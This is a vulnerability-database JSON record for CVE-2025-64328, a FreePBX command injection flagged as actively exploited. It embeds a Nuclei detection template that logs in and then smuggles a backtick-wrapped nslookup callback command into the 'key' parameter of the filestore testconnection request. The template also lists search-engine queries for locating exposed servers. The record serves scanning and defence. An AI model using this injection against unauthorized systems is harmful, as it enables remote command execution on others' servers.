{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-64328/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-64328/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-64328/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-64328/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-64328/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-64328"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-64328"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.84618,
      "kev": true,
      "percentile": 0.99693
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-64328.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-64328\n\ninfo:\n  name: FreePBX  >= 17.0.2.36 && < 17.0.3 - Authenticated Command Injection\n  author: _th3y\n  severity: critical\n  description: |\n    FreePBX Endpoint Manager 17.0.2.36 to < 17.0.3 contains a command injection caused by improper sanitization in filestore module's testconnection  check_ssh_connect() function, letting authenticated users execute commands as asterisk user.\n  impact: |\n    Authenticated attackers can execute arbitrary commands as the asterisk user, gaining remote access to the system.\n  remediation: |\n    Upgrade to version 17.0.3 or later.\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 8.6\n    cve-id: CVE-2025-64328\n    epss-score: 0.84618\n    epss-percentile: 0.99693\n    cpe: cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:*\n  reference:\n    - https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw\n    - https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/\n    - https://www.cisa.gov/news-events/alerts/2026/02/03/cisa-adds-four-known-exploited-vulnerabilities-catalog\n  metadata:\n    vendor: sangoma\n    product: freepbx\n    shodan-query:\n      - http.title:\"freepbx\"\n      - http.favicon.hash:\"-1908328911\"\n      - http.favicon.hash:\"1574423538\"\n      - http.title:\"freepbx administration\"\n    fofa-query:\n      - icon_hash=\"-1908328911\"\n      - icon_hash=\"1574423538\"\n      - title=\"freepbx administration\"\n      - title=\"freepbx\"\n    google-query:\n      - intitle:\"freepbx administration\"\n      - intitle:\"freepbx\"\n  tags: cve,cve2025,freepbx,rce,oast,authenticated,vuln,kev,vkev\n\nvariables:\n  username: \"{{username}}\"\n  password: \"{{password}}\"\n  cmd: \"nslookup {{interactsh-url}}\"\n  prefix: \"{{rand_text_alpha(5)}}\"\n\nflow: http(1) && http(2)\n\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/admin/config.php\"\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n    body: \"username={{username}}&password={{password}}\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'FreePBX Administration'\n          - 'Hello, {{username}}'\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/admin/ajax.php?module=filestore&command=testconnection&driver=SSH&host=127.0.0.1&user={{prefix}}&port=22&key={{prefix}}`{{cmd}}`&path={{prefix}}\"\n    headers:\n      Referer: \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n          - \"http\"\n# digest: 490a0046304402200160ed94fe66626f4a03b7c693072e4a36eda63ae6cf6b8736454d413156c47402205807dbd9bd7ae7f654f8a8dafd1120c8d0c5fe334b07720e16fd4d50c05d639a:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-64328"
}